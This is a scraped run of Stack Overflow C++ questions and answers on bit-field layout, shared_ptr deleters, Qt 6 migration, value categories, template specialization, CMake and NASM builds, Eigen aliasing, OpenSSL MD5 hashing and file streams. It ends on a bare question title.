For some reason I have a struct that needs to keep track of 56 bits of information ordered as 4 packs of 12 bits and 2 packs of 4 bits. This comes out to 7 bytes of information total. I tried a bit field like so struct foo { uint16_t R : 12; uint16_t G : 12; uint16_t B : 12; uint16_t A : 12; uint8_t X : 4; uint8_t Y : 4; }; and was surprised to see sizeof(foo) evaluate to 10 on my machine (a linux x86_64 box) with g++ version 12.1. I tried reordering the fields like so struct foo2 { uint8_t X : 4; uint16_t R : 12; uint16_t G : 12; uint16_t B : 12; uint16_t A : 12; uint8_t Y : 4; }; and was surprised that the size now 8 bytes, which is what I originally expected. It's the same size as the structure I expected the first solution to effectively produce: struct baseline { uint16_t first; uint16_t second; uint16_t third; uint8_t single; }; I am aware of size and alignment and structure packing, but I am really stumped as to why the first ordering adds 2 extra bytes. There is no reason to add more than one byte of padding since the 56 bits I requested can be contained exactly by 7 bytes. Minimal Working Example Try it on Wandbox What am I missing? PS: none of this changes if we change uint8_t to uint16_t
If we create an instance of struct foo, zero it out, set all bits in a field, and print the bytes, and do this for each field, we see the following: R: ff 0f 00 00 00 00 00 00 00 00 G: 00 00 ff 0f 00 00 00 00 00 00 B: 00 00 00 00 ff 0f 00 00 00 00 A: 00 00 00 00 00 00 ff 0f 00 00 X: 00 00 00 00 00 00 00 f0 00 00 Y: 00 00 00 00 00 00 00 00 0f 00 So what appears to be happening is that each 12 bit field is starting in a new 16 bit storage unit. Then the first 4 bit field fills out the remaining bits in the prior 16 bit unit, then the last field takes up 4 bits in the last unit. This occupies 9 bites And since the largest field, in this case a bitfield storage unit, is 2 bytes wide, one byte of padding is added at the end. So it appears that is 12 bit field, which has a 16 bit base type, is kept within a single 16 bit storage unit instead of being split between multiple storage units. If we do the same for the modified struct: X: 0f 00 00 00 00 00 00 00 R: f0 ff 00 00 00 00 00 00 G: 00 00 ff 0f 00 00 00 00 B: 00 00 00 00 ff 0f 00 00 A: 00 00 00 00 00 00 ff 0f Y: 00 00 00 00 00 00 00 f0 We see that X takes up 4 bits of the first 16 bit storage unit, then R takes up the remaining 12 bits. The rest of the fields fill out as before. This results in 8 bytes being used, and so requires no additional padding. While the exact details of the ordering of bitfields is implementation defined, the C standard does set a few rules. From section 6.7.2.1p11: An implementation may allocate any addressable storage unit large enough to hold a bit- field. If enough space remains, a bit-field that immediately follows another bit-field in a structure shall be packed into adjacent bits of the same unit. If insufficient space remains, whether a bit-field that does not fit is put into the next unit or overlaps adjacent units is implementation-defined. The order of allocation of bit-fields within a unit (high-order to low-order or low-order to high-order) is implementation-defined. The alignment of the addressable storage unit is unspecified. And 6.7.2.1p15: Within a structure object, the non-bit-field members and the units in which bit-fields reside have addresses that increase in the order in which they are declared.
73,213,232
73,215,041
Why does the impl of shared_ptr ref count hold a pointer to the actual pointed type?
This was motivated by an interview question: shared_ptr<void> p(new Foo()); Will the destructor of Foo get called once p goes out of scope? It turns out it does, I had to look at the implementation of shared_ptr in GCC 1, and find out that apparently the control block holds a pointer to the actual type (Foo) and a pointer to the destructor that gets invoked when the ref count reaches 0. 1: Sorry I am on my phone I cannot copy the link to the impl. But I am still wondering: why? Why is it needed? Is there anything I am missing from the standard? On the other hand, the line above doesn't compile with unique_ptr because obviously there's no ref count in that case.
A std::shared_ptr<T> instance itself must keep track of the pointer to return when .get() is called. This is always of type T*, except when T is an array, in which case it is of type std::remove_extent_t<T>* (for example, std::shared_ptr<int[]>::get() returns int*). Also, when a std::shared_ptr<T> is destroyed, it has to check whether it is the last std::shared_ptr instance referring to its control block. If so, it must execute the deleter. In order for this to work, the control block must keep track of the pointer to pass to the deleter. It is not necessarily of the type T* or std::remove_extent_t<T>*. The reason why these are not the same is that, for example, code like the following should work: struct S { int member; int other_member; ~S(); }; void foo(std::shared_ptr<int>); int main() { std::shared_ptr<S> sp = std::make_shared<S>(); std::shared_ptr<int> ip(sp, &sp->member); foo(std::move(ip)); } Here, sp owns an object of type S and also points to the same object. The function foo takes a std::shared_ptr<int> because it is part of some API that needs an int object that will remain alive for as long as the API isn't done with it (but the caller can also keep it alive for longer, if they want). The foo API doesn't care whether the int that you give it is part of some larger object; it just cares that the int will not be destroyed while it is holding on to it. So, we can create a std::shared_ptr<int> named ip, which points to sp->member, and pass that to foo. Now, this int object can only survive as long as the enclosing S object is alive. It follows that ip must, as long as it is alive, keep the entire S object alive. We could now call sp.reset() but the S object must remain alive, since there is still a shared_ptr referring to it. Finally, when ip is destroyed, it must destroy the entire S object, not just the int that it, itself, points to. Thus, it is not enough for the std::shared_ptr<int> instance ip to store a int* (which will be returned when .get() is called); the control block that it points to also has to store the S* to pass to the deleter. For the same reason, your code will call the Foo destructor even though it is a std::shared_ptr<void> that is carrying out the destruction. You asked: "Is there anything I am missing from the standard?" By this I assume you are asking whether the standard requires this behaviour and if so, where in the standard is it specified? The answer is yes. The standard specifies that a std::shared_ptr<T> stores a pointer and may also own a pointer; these two pointers need not be the same. In particular, [util.smartptr.shared.const]/14 describes constructors that "[construct] a shared_ptr instance that stores p and shares ownership with the initial value of r" (emphasis mine). The shared_ptr instance thus created may own a pointer that is different from the one it stores. However, when it is destroyed, [util.smartptr.shared.dest]/1 applies: if this is the last instance, the owned pointer is deleted (not the stored one).
73,213,470
73,215,851
QT 6.3 convert QVector to std::vector
I am converting my code from QT 5 to QT 6 https://doc.qt.io/qt-5/qvector.html#toStdVector I have came across this, when noticing toStdVector() function was removed. until now I had a line of code like this collection.dgValues = imageset.digitalGainValues().toStdVector(); I am now suppose to change it into this? std::vector<analoggain_type> ag_vec(imageset.analogGainValues().begin(), imageset.analogGainValues().end()); collection.agValues = ag_vec or is there a nicer way to code this?
Yes, you can do that. However, it is worth noticing that there is no use for QVector anymore since Qt 6 made it an alias to QList, so you should migrate your code away from it. However, we decided that QList should be the real class, with implementation, while QVector should just become an alias to QList. Prefer to use QList as a rule of thumb. QVector is history.
73,213,892
73,214,965
How to pass a Smart Pointer in a method without deleting it
I have a program that checks me some tokens, the first time it checks the one with the least HP, the other times it takes one randomly. I thought about transforming this code using the strategy pattern. The code works, but there is a problem: the tokens are cleared Token class Token{ private: string name; int hp; public: Token(string N, int H){ name=N; hp=H; } string GetName(){ return name; } int GetHp(){ return hp; } } Strategy.h #ifndef MAIN_CPP_STRATEGY_H #define MAIN_CPP_STRATEGY_H #include "Token.h" class EnemyStrategy{ protected: std::unique_ptr<Token> token[3]; public: virtual int Start() = 0; }; class FirstCase : public EnemyStrategy{ public: FirstCase(std::unique_ptr<Token> pieces[3]){ for(int i=0; i<3; i++){ token[i] = std::move(pieces[i]); std::cout<<token[i]->GetName()<<"\n"; } } ~FirstAttack(){} int Start() override{ int min=100; int attacked; for (int i = 0; i < 3; i++) { if (token[i]->GetHp() <= min){ min = token[i]->GetHp(); attacked = i; } } return attacked; } }; class SecondCase: public EnemyStrategy{ public: int pawns; SecondCase(std::unique_ptr<Token> pieces[3]){ for(int i=0; i<3; i++) token[i] = std::move(pieces[i]); } ~SecondCase(){} int Start() override { int i = rand() % 3; return i; } }; //Controller class Controller{ EnemyStrategy* strategy; public: Controller(EnemyStrategy* tm): strategy(tm){ } ~Controller(){ } int WhoToAttack(){ return strategy->Start(); } }; #endif //MAIN_CPP_STRATEGY_H MainCode #include "Strategy.h" #include "Token.h" int main(){ unique_ptr<Token> token[3]; token[0] = make_unique<Token>("Knight", 20); token[1] = make_unique<Token>("Mage", 5); token[2] = make_unique<Token>("Fighter", 10); Controller* controller; EnemyStrategy* strategy; if (control == 0) { strategy = new FirstAttack(std::move(token)); } else { strategy = new WarStrategy(std::move(token)); } controller = new Controller(strategy); attacked = controller->WhoToAttack(); cout<< "\n the token:" <<attacked; //WORKS cout<<token[attacked]->GetName(); //DON'T WORKS delete strategy; delete controller; } My fear is that pointers go out of scope once called in the function, and for this the Strategy pattern works, but the program crashes at: token[attacked]->GetName() I don't know how to do it, ideas? At first I left the unique_ptr smart pointers but then I tried to replace them with shared_ptr, but nothing has changed
Here: if (control == 0) { strategy = new FirstAttack(std::move(token)); } else { strategy = new WarStrategy(std::move(token)); } std::move doesn't do anything, because arrays are passed by pointer. The move occurs in the strategy constructor for each element: FirstCase(std::unique_ptr<Token> pieces[3]){ for(int i=0; i<3; i++){ token[i] = std::move(pieces[i]); std::cout<<token[i]->GetName()<<"\n"; } } After that, you can't use the tokens in main. This also happens when using shared_ptr, but shared_ptr is copyable and you are not forced to use move. To use shared_ptrs, remove the move from the strategy constructor: FirstCase(std::shared_ptr<Token> pieces[3]){ for(int i=0; i<3; i++){ token[i] = pieces[i]; std::cout<<token[i]->GetName()<<"\n"; } }
73,213,990
73,214,048
Why r-value becomes l-value?
Due to the fact that the general question "how std::forward works" is too complicated I decided to start with a question on a particular example: #include <utility> #include <iostream> namespace { void foo(const int&) { std::cout << "const l-value" << std::endl; } void foo(int&) { std::cout << "l-value" << std::endl; } void foo(int&&) { std::cout << "r-value" << std::endl; } template <typename T> void deduce(T&& x) { //foo(std::forward<T>(x)); foo(x); } } int main() { deduce(1); return 0; } The output: l-value Why? We pass r-value and the argument of deduce is r-value, right? Why is foo(int&) called? When I call directly foo(1); it prints r-value. When does it become l-value inside deduce? EDIT1 If I add foo2 to the code above: void foo2(int&& val) { static_assert(std::is_same_v<decltype(val), int&&>); foo(val); } and then call it from main foo2(1); l-value is printed but not r-value as I probably expected. So, as mentioned in comments and answers, val is l-value because it is a named variable and it does not matter if it is declared as int&& or int&. That is something that I did not know before.
The thing that everyone seems to be confused about when being introduced to this is that value category is not a property of an object, variable or other entity. It is not part of a type or anything, which makes it confusing because we also talk about lvalue references and rvalue references which are distinct concepts from value categories. Value category is a property of individual expressions only. An id-expression like x or val, naming a variable, is always a lvalue expression, no matter what type the named variable has or whether it is a reference or whether it is a local/global variable or a function parameter or a template parameter, etc. The expression naming a variable of rvalue reference type is therefore still a lvalue expression. And the second kind of property of expressions, their types, have references stripped. So the value category of the expression x (or val) is lvalue and its type is int, although the type of the variable named x (or val) is int&& (and doesn't have any value category). A function call expression like std::forward<T>(x) in which the return type of the selected function is a rvalue reference is a xvalue expression (a kind of rvalue expression). And again, the expression's type is always non-reference, here int. For a full list of the value categories of every kind of expression, see the lists at https://en.cppreference.com/w/cpp/language/value_category.
73,214,155
73,214,270
How can I define different struct members for different template parameters?
How can I define different struct members for different template parameters? I've tried to use the requires keyword the following way: template<typename T> requires std::is_void_v<T> class Foo { public: void Bar() { } }; template<typename T> class Foo { public: T* Bar() { if (!m_T) m_T = new T(); return m_T; } private: T* m_T{}; }; But this does not compile: Foo<T> Foo(void): could not deduce template argument for T Foo<T> Foo(Foo<T>): expects 1 argument - 0 provided Foo: requires clause is incompatabile with the declaration Is this behaviour even possible in C++ 20?
While requires may be useful in general, its advantages for exactly matching one template parameter type are outweighed by the negatives. Template specialization of types has been possible since C++03, maybe even C++98: template<typename T> class Foo; template<> class Foo<void> { public: void Bar() { } }; template<typename T> class Foo { public: T* Bar() { if (!m_T) m_T = new T(); return m_T; } private: T* m_T{}; }; In order to use concepts, you should still follow the same overall pattern: Declare the template Define the primary and all specialized bodies for the template Example assuming my_is_magic_v is a fancier concept, not just a single particular type. template<typename T> class Foo; template<typename T> requires my_is_magic_v<T> class Foo<T> { public: void Bar() { } }; template<typename T> class Foo { public: T* Bar() { if (!m_T) m_T = new T(); return m_T; } private: T* m_T{}; };
73,214,824
73,215,245
Missing CMAKE_ASM_NASM_COMPILER when compiling gRPC with MS visual studio
I am trying to build gRPC C++ (1.48.0) with Visual Studio 2022 on Windows 10. It's a CMake build (cmake 3.22.22011901-MSVC_2) I was able to build everything else but am stuck at BoringSSL. The relevant CMakeList is trying to enable_language(ASM_NASM). Context below: if(NOT OPENSSL_NO_ASM) if(UNIX) enable_language(ASM) # Clang's integerated assembler does not support debug symbols. if(NOT CMAKE_ASM_COMPILER_ID MATCHES "Clang") set(CMAKE_ASM_FLAGS "${CMAKE_ASM_FLAGS} -Wa,-g") endif() # CMake does not add -isysroot and -arch flags to assembly. if(APPLE) if(CMAKE_OSX_SYSROOT) set(CMAKE_ASM_FLAGS "${CMAKE_ASM_FLAGS} -isysroot \"${CMAKE_OSX_SYSROOT}\"") endif() foreach(arch ${CMAKE_OSX_ARCHITECTURES}) set(CMAKE_ASM_FLAGS "${CMAKE_ASM_FLAGS} -arch ${arch}") endforeach() endif() else() set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -gcv8") enable_language(ASM_NASM) endif() endif() It gives me CMake Error: "No CMAKE_ASM_NASM_COMPILER could be found." I don't know enough about compilers / assemblers, and why boringSSL would need a specific one (which none of the other modules needed including gRPC). What is the recommended way to fix this?
To answer at least some of my questions for my future self, and others who are at a similar point in the journey. NASM is an assembly compiler (assembler). BoringSSL has some assembly language code, which is why it needs an assembly compiler (and gRPC or other modules don't). I'll let someone else opine on why NASM and not some other assembler. To fix the issue, you have to download/install the relevant NASM executable from here. I found it easier to download the exe, place it in a folder, add that folder to the PATH and set another env variable ASM_NASM with the name of nasm.exe. Once I did that, boringSSL and the whole gRPC compiled quite smoothly.
73,215,242
73,215,255
Default member variables in defaulted copy/move constructors
What exactly occurs to a member variable with a default value, during a defaulted copy/move construction? As so: struct A {bool a = true;}; A x; x.a = false; A y = x; I can imagine a few different ways this works, equivalently written as struct A {bool a;}; //no default //option 1 A::A(const A& other) noexcept : a(other.a) {} //option 2 A::A(const A& other) noexcept : a(true) {a = other.a;} //option 3 A::A(const A& other) noexcept {a = other.a;} //option 4 (hopefully not) A::A(const A& other) noexcept : a(true) {} With the obvious exception that using these would make A not TriviallyCopyable
A constructor must and will always initialize all the class data members. Default initializers will be used in constructors where that data member isn't explicitly initialized. The default copy constructors will initialize each data member with a copy of the corresponding data member from the copied object, so default initializers won't be used. This leads to a case where default initializers will be used in a copy constructor if it's user provided and it lacks that member initializer (thanks to NathanOliver for pointing this out). E.g.: A(whatever param) {} // default initializer used A(whatever param) : a{true} {} // default initializer NOT used A(const A&) = default; // default initializer NOT used A(const A&) : a{other.a} {} // default initializer NOT used A(const A&) {} // default initializer used
73,215,417
73,215,418
CMake Treat Warnings as Errors
How can I configure CMake to treat compiler warnings as errors during the build? I am aware of the possibility to manually configure command line options for the compiler like -Werror through commands like target_compile_options, but I would prefer a portable solution that does not require fiddling with tool-dependent options.
This can be configured in CMake version 3.24 and higher via the COMPILE_WARNING_AS_ERROR target property. For example, to enable warnings as errors for the my_app target you could write: set_property(TARGET my_app PROPERTY COMPILE_WARNING_AS_ERROR ON) You can also set a global default for all targets in your project via the CMAKE_COMPILE_WARNING_AS_ERROR variable: set(CMAKE_COMPILE_WARNING_AS_ERROR ON) add_executable(my_app1 [...]) add_executable(my_app2 [...]) add_executable(my_app3 [...]) If a user finds it annoying that this is set in the CMakeLists.txt file, they can still override it using the --compile-no-warning-as-error configure option.
73,215,454
73,215,486
Why is this map returning an rvalue?
I am using the library nlohmann/json and wish to create an unordered_map of std::string to nlohmann::json. #include <nlohmann/json.hpp> class basic_container { public: using key_type = std::string; using mapped_type = nlohmann::json; using container_type = std::unordered_map<key_type, mapped_type>; using reference = typename container_type::reference; using const_reference = typename container_type::const_reference; // error: cannot bind non-const lvalue reference to an rvalue reference at(const key_type &key) { return data.at(key); } // warning: returning reference to temporary const_reference at(const key_type &key) const { return data.at(key); } // error: cannot bind non-const lvalue reference to an rvalue reference operator[](const key_type &key) { return data[key]; } private: container_type data; }; The nlohmann::json class is defined in the library similarly to the following. template<...> class basic_json {}; using json = basic_json<>; I can't figure out why I'm having problems when trying to return a reference or a const reference to a nlohmann::json. The full compiler error for the error: sections within the above code is outlined below. error: cannot bind non-const lvalue reference of type 'container::reference' {aka 'std::pair<const std::__cxx11::basic_string<char>, nlohmann::basic_json<> >&'} to an rvalue of type 'std::pair<const std::__cxx11::basic_string<char>, nlohmann::basic_json<> >' The nicer intellisense error. a reference of type "container::reference" (not const-qualified) cannot be initialized with a value of type "nlohmann::basic_json<std::map, std::vector, std::string, bool, int64_t, uint64_t, double, std::allocator, nlohmann::adl_serializer, std::vector<uint8_t, std::allocator<uint8_t>>>" Appreciate any help. Thanks Edit: The solution was to properly define the aliases. See the following. class basic_container { public: using key_type = std::string; using mapped_type = nlohmann::json; using container_type = std::unordered_map<key_type, mapped_type>; // using reference = typename container_type::reference; // using const_reference = typename container_type::const_reference; using reference = typename mapped_type::reference; using const_reference = typename mapped_type::const_reference; // ... };
Your wrappers for at(), et. al. are returning the wrong thing. If you look up the reference for unordered_map::at(): it returns a reference to a (const) T, a.k.a. value_type, a.k.a. your mapped_type. reference/const_reference is something completely different. The same problem also happens with your operator[] overload. P.S. The easiest way to avoid this confusion is to declare your return types as (const-qualified, where appropriate) auto & (in this case). Let your C++ compiler get it right.
73,215,750
73,233,765
C++ Functions return or global
im struggleling with some "best practice" idea's only posting a small piece of the code the original is very and complicated. See below a litte test function TEST1 runs in 5ms TEST2 runs in 1405ms to me TEST2 feels like the best practice but the performace diffence are so big! in the my full code the Functions are in the Header file and the main in the source only the function will ever be writing to the "TEST123" the Main will only read it right after it is called, the code is not running 100000 times in the full code but around 24 times, but the faster the better (inverse kinematics of a 6 Axis Robot) What is the best way to do this? Or is there even better ways? Any advice is appreciated double TEST123[12]; void TESTFUNTC1A(int ID) { for (int x = 0; x < 12; x++) { TEST123[x] = 1.123; } } void TESTFUNTC1A() { int64 starttimetest2 = timeSinceEpochMillisec(); vector<double> TEST125(12); double test123456; for (int y = 0; y < 100000; ++y) { TESTFUNTC1A(0); for (int x = 0; x < 12; x++) { test123456 = TEST123[x]; } } std::cout << "TEST1 " << timeSinceEpochMillisec() - starttimetest2 << endl; } vector<double> TESTFUNTC2A(int ID) { vector<double> TEST124(12); for (int x = 0; x < 12; x++) { TEST124[x] = 1.123; } return TEST124; } void TESTFUNTC2A() { int64 starttimetest2 = timeSinceEpochMillisec(); vector<double> TEST125(12); double test123456; for (int y = 0; y < 100000; ++y) { TEST125 = TESTFUNTC2A(0); for (int x = 0; x < 12; x++) { test123456 = TEST125[x]; } } std::cout << "TEST2 " << timeSinceEpochMillisec()- starttimetest2 << endl; } int main() { TESTFUNTC1A(); TESTFUNTC2A(); }
Your code has some code smell: vector<double> TESTFUNTC2A(int ID) { vector<double> TEST124(12); for (int x = 0; x < 12; x++) { TEST124[x] = 1.123; } return TEST124; } You create TEST123 with size 12 and initialize every element to 0.0. Then you overwrite it with 1.123. Why not just write vector<double> TEST124(12, 1.123);? If you need to initialize the elements to different values then you should create an empty vector, reserve the right size and then emplace_back(). void TESTFUNTC2A() { int64 starttimetest2 = timeSinceEpochMillisec(); vector<double> TEST125(12); double test123456; for (int y = 0; y < 100000; ++y) { TEST125 = TESTFUNTC2A(0); for (int x = 0; x < 12; x++) { test123456 = TEST125[x]; } } std::cout << "TEST2 " << timeSinceEpochMillisec()- starttimetest2 << endl; } You create TEST125 as vector with 12 elements initialized to 0.0. But then you assign it a new vector. The initial vector should be empty so you don't needlessly allocate heap memory. Also you could create a new vector inside the loop so the vector is created in-place instead of move assigned. The size of the vector is known at compile time. Why not use std::array? Note that the difference in time is a failure of the compiler to properly optimize the code. It's easier in TEST1 for the compiler to see that the code has no side effect so you probably get an empty loop there but not in the TEST2 case. Did you try using clang? It's a bit better at eliminating unused std::vector. When you write your tests you should always run your loops for different number of iterations to see if the time spend increases with the number of iterations as expected. Other than plain looking at the compiler output that's the simplest way to see if your testcase is optimized away or not.
73,216,135
73,216,203
Passing class as a parameter c++
im new to programming and just start learning C++ a few weeks, im current doing the random number stuff, but i don't understand why the parameters sometime has "()" and sometime doesn't, hope someone can explain to me, thanks!. int main() { random_device rd; mt19937 rdn(rd()); //Why this parameter needs "()"? uniform_int_distribution<int> maxrd(1, 5000); int n = maxrd(rdn); //And why this parameter doesn't need "()"? cout << n; };
Case 1 mt19937 rdn(rd()); In the above statement, rd() uses(calls) the overloaded std::random_device::operator() and then the return value from that is used as an argument to mt19937's constructor. Basically the parenthesis () is used to call the operator() of std::random_device. That is, here the parenthesis () after the rd are there because we want to pass the returned value from rd() as argument and not rd itself. Case 2 int n = maxrd(rdn); In the above statement, we're calling std::uniform_int_distribution::operator() which takes a Generator as argument and so we're passing rdn as an argument since rdn is already a generator. Note here we're not using () after rdn because we want to pass rdn as argument and not the returned value from rdn().
73,216,268
73,223,128
How to include Xcode sub-project headers?
I'm trying to compile libcpr for iOS. I have built cpr using CMake using the Xcode generator. This has generated an .xcodeproj I have imported (read drag&drop) into my Xcode project. The problem lies when I try to import the library headers, they are not found: // currently with quote notation but also tried with bracket notation #import "cpr/cpr.h" // NOT FOUND You can see a more detailed steps on how I built the project in the respective github issue. I can see the subproject contains not only the headers for libcpr, but also for libcurl and zlib (which are also necessary): All the information I can find, regarding Xcode and library headers, seems to be some manual steps like copying the header files, which is at the very least prone to errors. Another option seems to be modifying the User Header Search Paths property in the build settings. I tried setting the User Header Search Paths and Header Search Paths to point to the folders: I have tried many values in there: Libraries/**, $(PROJECT_DIR)/../cpr/build (I have added the libcpr repo as a submodule, so that's the build output folder) and many other variations. Nothing works. Here is the repo with my current progress. To generate the artifacts: Initialize the submodule cd cpr mkdir build && cd build && cmake .. -G Xcode -DCMAKE_TOOLCHAIN_FILE=../../ios.toolchain.cmake -DPLATFORM=OS64COMBINED -DENABLE_STRICT_TRY_COMPILE=ON -DDEPLOYMENT_TARGET=13.0 -DBUILD_SHARED_LIBS=OFF Before compilation you will have to fix an implicit conversion on one header file (cpr/include/body.h just add (int) in the line where the error pops up) cmake --build . --config Release That generates the artifact and you should be able to open the .xcodeworkspace file in the iOS folder from the root repo. Any Help would be greatly appreciated!
Great findings, Oscar! So, the issue is really Xcode not knowing where to find the header files, and the solution (as you already found out) is simply to use the right search path(s). You have to use HEADER_SEARCH_PATHS (USER_HEADER_SEARCH_PATHS only works for quote includes). diff --git a/ios/libcprtest.xcodeproj/project.pbxproj b/ios/libcprtest.xcodeproj/project.pbxproj index f16a88c..38d64da 100644 --- a/ios/libcprtest.xcodeproj/project.pbxproj +++ b/ios/libcprtest.xcodeproj/project.pbxproj @@ -599,6 +599,7 @@ "\"$(PODS_ROOT)/boost\"", "\"$(PODS_ROOT)/Headers/Private/React-Core\"", "\"$(PODS_TARGET_SRCROOT)/include/\"", + "\"$(SRCROOT)/../cpr\"/**", ); INFOPLIST_FILE = libcprtest/Info.plist; LD_RUNPATH_SEARCH_PATHS = ( @@ -619,7 +620,7 @@ PRODUCT_NAME = libcprtest; SWIFT_OPTIMIZATION_LEVEL = "-Onone"; SWIFT_VERSION = 5.0; - USER_HEADER_SEARCH_PATHS = "Libraries/**"; + USER_HEADER_SEARCH_PATHS = ""; VERSIONING_SYSTEM = "apple-generic"; }; name = Debug; @@ -672,6 +673,7 @@ "\"$(PODS_ROOT)/boost\"", "\"$(PODS_ROOT)/Headers/Private/React-Core\"", "\"$(PODS_TARGET_SRCROOT)/include/\"", + "\"$(SRCROOT)/../cpr\"/**", ); INFOPLIST_FILE = libcprtest/Info.plist; LD_RUNPATH_SEARCH_PATHS = ( @@ -691,7 +693,7 @@ PRODUCT_BUNDLE_IDENTIFIER = "org.reactjs.native.example.$(PRODUCT_NAME:rfc1034identifier)"; PRODUCT_NAME = libcprtest; SWIFT_VERSION = 5.0; - USER_HEADER_SEARCH_PATHS = "Libraries/**"; + USER_HEADER_SEARCH_PATHS = ""; VERSIONING_SYSTEM = "apple-generic"; }; name = Release; Alternatively, you could add just the include directories (instead of recursively searching the vendor source / build folder). // from repo root find ./cpr -type d -name include | xargs -I {} echo "\"\$(SRCROOT)/.{}\"" "$(SRCROOT)/../cpr/include" "$(SRCROOT)/../cpr/build/include" "$(SRCROOT)/../cpr/build/_deps/curl-src/plan9/include" "$(SRCROOT)/../cpr/build/_deps/curl-src/include" Cheers!
73,217,253
73,217,390
How Calculate MD5 and other hashes in C++?
I am trying to hash strings in C++. I am trying to use the following code that I found to do a MD5 hash: void digest_message(const unsigned char *message, size_t message_len, unsigned char **digest, unsigned int *digest_len) { EVP_MD_CTX *mdctx; if((mdctx = EVP_MD_CTX_new()) == NULL) handleErrors(); if(1 != EVP_DigestInit_ex(mdctx, EVP_md5(), NULL)) handleErrors(); if(1 != EVP_DigestUpdate(mdctx, message, message_len)) handleErrors(); if((*digest = (unsigned char *)OPENSSL_malloc(EVP_MD_size(EVP_md5()))) == NULL) handleErrors(); if(1 != EVP_DigestFinal_ex(mdctx, *digest, digest_len)) handleErrors(); EVP_MD_CTX_free(mdctx); } This is the most promising thing I have found with this "openssl/evp.h" header file, but I don't understand how to use this function, how it works, and how to get my resulting hash in string format.
For MD5 which is a 128-bit hash, you'd call it like this: unsigned char* digest = nullptr; unsigned int len = 0; digest_message(message, message_len, &digest, &len); Then to convert to 32-char hex string: std::string s; std::ostringstream ss; for (unsigned int i = 0; i < len; i++) { ss << std::hex << std::setfill('0') << std::setwidth(2) << digest[i]; } s = ss.str(); Don't forget to free the allocated hash after converting it: OPENSSL_free(digest);
73,218,071
73,218,353
Assigning Eigen Block to a Matrix gives wrong elements
When I'm using block method of Eigen Matrix and assigning the return values to the MatrixXd variable itself , the element of the matrix changed weirdly. Here is a simple example to reproduce this problem. Eigen::MatrixXd temp(3, 5); temp << 60, 1.44583e-14, 2.90553e-14, 59.9308, 60, 60, 60, -2.90553e-14, 0.140057, 80, 1, 1, 1, 1, 1; std::cout << "Temp:\n" << temp << "\n"; std::cout << "Temp.block(0,0,2,5):\n" << temp.block(0, 0, 2, 5) << "\n"; temp = temp.block(0, 0, 2, 5); std::cout << "Temp=Temp.block(0,0,2,5):\n" << temp << "\n"; the output would be like Temp: 60 1.44583e-14 2.90553e-14 59.9308 60 60 60 -2.90553e-14 0.140057 80 1 1 1 1 1 Temp.block(0,0,2,5): 60 1.44583e-14 2.90553e-14 59.9308 60 60 60 -2.90553e-14 0.140057 80 Temp=Temp.block(0,0,2,5): 4.64591e-310 1.44583e-14 2.90553e-14 59.9308 60 4.64591e-310 60 -2.90553e-14 0.140057 80 Just like the output of the code the first column changed after the assignment. I know it is better to create a new MatrixXd to get the block but I just want to know why this kind of situation happens?
It happens because the left side aliases the right side of the assignment. In general, Eigen does not guard against this in the interest of performance. Exceptions are made for matrix multiplication, where the noalias() method indicates that you, the programmer, has made the assessment. You can read the Aliasing chapter in the manual. Under the hood, you requested an assignment with resizing. So the assignment operator allocated new memory. At this point the Block references a dangling pointer to the old, released memory. The memory allocator uses part of that memory for its own metadata. That is what you see in the first two entries. To shrink to the top left corner without reassignment, please use the conservativeResize(). In more general expressions where you know aliasing is an issue, use the pattern leftSide = rightSide.eval() to separate the computation from the assignment. Performance will suffer slightly.
73,218,662
73,218,756
Text can not be appended to the file
I want to append text to the file "filename.txt" but the text won't append. I have even set the attribute ios_base::app but it does not work(I have tried deleting the file and starting the program again so that the part where the attribute is added will be run; ifstream MyReadFile("filename.txt"); ifstream f("filename.txt"); bool exits_and_can_be_opened = f.good(); if (exits_and_can_be_opened) { cout << "This file already exists"; } else { MyWriteFile.open("filename.txt", ios_base::app); MyWriteFile << "Files can be tricky, but it is fun enough!"; MyWriteFile.close(); } while (getline(MyReadFile, myText)) { // Output the text from the file cout << myText << "\n"; } MyWriteFile << "This thing was appended"; cout << "This was the final change";
You could open the file for reading and writing, and then use positioning functions to move around in the file or to switch from reading to writing fstream MyFile("filename.txt"); while (getline(MyFile, myText)) { // Output the text from the file cout << myText << "\n"; } MyFile.clear(); // clear any error MyFile.seekg(0, ios_base::end); // move to the end of the file MyFile << "This thing was appended"; The other (maybe simpler) way is to close and reopen the file every time you want to switch from reading to writing. Don't have the same file opened twice simultaneously.
73,218,666
73,218,934
The private member function's action scope
The Issue: Class declaration is as below: class Select { public: template<typename Iterator> static Iterator function(Iterator , Iterator , bool (*judgeFunction)(Iterator A, Iterator B) = priFunction); private: template<typename Iterator> inline static bool priFunction(Iterator , Iterator); And my test file is as below: template <typename T> void showFunction(std::vector<T> &A){ Select S; std::cout<<*S.function(A.begin(),A.end())<<std::endl; } CLion remarked an error for the test file: In template: 'priFunction' is a private member of 'Select' I used the following sentence compiled my CppFile: g++ -o ExeFile CppFile.cpp -I "../../../Include/" And its ExeFile ran successfully. My Question Can the member function in private or protected scope of a class be declared as a default parameter in the class' public functions' parameter list? If there's no error in fact,How could I hide the error reminder of CLion?(unecessary) My Clion version is 2022.1.3.
The program is well-formed as we're allowed to use priFunction as a default argument the way you did in the above example. This seems to be a clang bug. Demo. As you can see in the above link, clang also give the error: <source>:6:100: error: 'priFunction' is a private member of 'Select' static Iterator function(Iterator , Iterator , bool (*judgeFunction)(Iterator A, Iterator B) = priFunction); ^~~~~~~~~~~ <source>:16:17: note: in instantiation of default function argument expression for 'function<__gnu_cxx::__normal_iterator<int *, std::vector<int>>>' required here std::cout<<*S.function(A.begin(),A.end())<<std::endl; ^ <source>:21:2: note: in instantiation of function template specialization 'showFunction<int>' requested here showFunction(v); ^ <source>:10:24: note: declared private here inline static bool priFunction(Iterator , Iterator){return true;} GCC and MSVC correctly compiles the program without any problem. Demo
73,219,402
73,219,425
When I use typeid() to judge a type, different type will compile error
